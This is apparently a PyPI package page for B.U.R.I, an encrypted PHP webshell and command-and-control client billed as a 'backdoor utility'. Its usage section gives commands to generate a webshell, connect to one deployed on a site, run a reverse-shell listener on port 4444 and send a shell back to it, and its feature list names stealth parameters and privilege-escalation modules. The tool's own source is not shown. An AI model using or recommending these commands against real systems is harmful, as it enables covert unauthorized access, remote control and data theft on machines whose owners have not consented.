Skip to main content

B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.

Project description

image

B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.

Features

  • Encrypted Communication: Uses AES-GCM for secure client-server communication.
  • Interactive Shell: Rich terminal UI with auto-completion, history, and syntax highlighting powered by rich and prompt_toolkit.
  • Modular Design: Extensible command modules for custom functionality (e.g., file upload/download, privilege escalation).
  • Reverse Shell Support: Built-in listener for reverse shell connections.
  • Cross-Platform: Supports both Linux and Windows targets with dynamic environment detection.
  • Stealth Options: Customizable POST parameters and proxy support for enhanced discretion.
  • Path Autocompletion: Remote path completion using ls for efficient navigation.

Installation

    pip install buri-tod

Usage

B.U.R.I supports three main modes: creating a webshell, running an interactive session, and listening for reverse shells.

1. Create a Webshell

Generate an encrypted PHP webshell:

buri create --path shell.php --password 'SuperSecretPass123'

This creates a PHP webshell at shell.php with the specified password for encryption.

2. Run an Interactive Session

Connect to a deployed webshell:

buri run https://example.com/shell.php -p 'SuperSecretPass123' --param 'data'
  • --param: Specify the POST parameter name (default: data).
  • --proxy: Optional proxy (e.g., http://127.0.0.1:8080).

3. Start a Reverse Shell Listener

Listen for incoming reverse shell connections:

buri listen --lhost 0.0.0.0 --lport 4444

Then, from the interactive shell, initiate a reverse shell:

revshell <listener_ip> 4444

Example Commands

Once in the interactive shell:

  • whoami: Display the current user.
  • cd /path/to/dir: Change the remote working directory.
  • ls: List files in the current directory (supports autocompletion).
  • upload /local/path /remote/path: Upload a file to the remote system.
  • download /remote/path /local/path: Download a file from the remote system.
  • revshell <ip> <port>: Initiate a reverse shell to the specified listener.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

buri_tod-0.7.1.tar.gz (15.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

buri_tod-0.7.1-py3-none-any.whl (17.1 kB view details)

Uploaded Python 3

File details

Details for the file buri_tod-0.7.1.tar.gz.

File metadata

  • Download URL: buri_tod-0.7.1.tar.gz
  • Upload date:
  • Size: 15.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.3

File hashes

Hashes for buri_tod-0.7.1.tar.gz
Algorithm Hash digest
SHA256 891252b793e882e4bb3a1cba36ee4b3769089c96780c0da83068713a5b1617ae
MD5 24030025fbbf51088b5fca945525b515
BLAKE2b-256 b6376e7807615d19caebf42587c66d561024b3aa20c2bdb704b2a92d78b6bd68

See more details on using hashes here.

File details

Details for the file buri_tod-0.7.1-py3-none-any.whl.

File metadata

  • Download URL: buri_tod-0.7.1-py3-none-any.whl
  • Upload date:
  • Size: 17.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.3

File hashes

Hashes for buri_tod-0.7.1-py3-none-any.whl
Algorithm Hash digest
SHA256 01ba71c026cca7f430ac6544c98c289b4a3115bb1995966d44a1c9247b21e2ad
MD5 e0d27d27ddbfad36bdc0861e826ec9fa
BLAKE2b-256 d8e82afcc59bbf41f083a7ccc0281c76ede1b67304d31ecf43e72b3bac700b11

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page